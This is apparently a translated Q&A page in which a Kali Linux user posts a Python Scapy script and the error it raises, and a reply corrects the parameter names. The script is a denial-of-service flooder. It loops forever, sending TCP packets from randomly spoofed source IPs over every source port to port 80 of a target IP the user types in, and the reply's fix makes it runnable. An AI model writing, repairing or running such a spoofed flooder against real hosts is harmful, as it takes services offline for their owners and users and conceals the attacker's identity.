簡體   English   中英

使用 kali linux 在 python 中遇到問題

[英]Facing a problem in python using kali linux

代碼:

import random
import sys
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = "."
   source_IP = a + dot + b + dot + c + dot + d
   
   for source_port in range(1, 65535):
      IP1 = IP(source = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt,inter = .001)
      print(i)
      i = i + 1

但我有一個錯誤請幫我找出錯誤...錯誤:

raceback (most recent call last):
  File "/root/Desktop/ip/./main.py", line 16, in <module>
    IP1 = IP(source = source_IP, destination = target_IP)
  File "/usr/lib/python3/dist-packages/scapy/base_classes.py", line 266, in __call__
    i.__init__(*args, **kargs)
  File "/usr/lib/python3/dist-packages/scapy/packet.py", line 179, in __init__
    raise AttributeError(fname)
AttributeError: source

在 for 循環中嘗試dstsrc instread 而不是目標

IP1 = IP(src = source_IP, dst = target_IP)
TCP1 = TCP(sport = source_port, dport = 80)

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM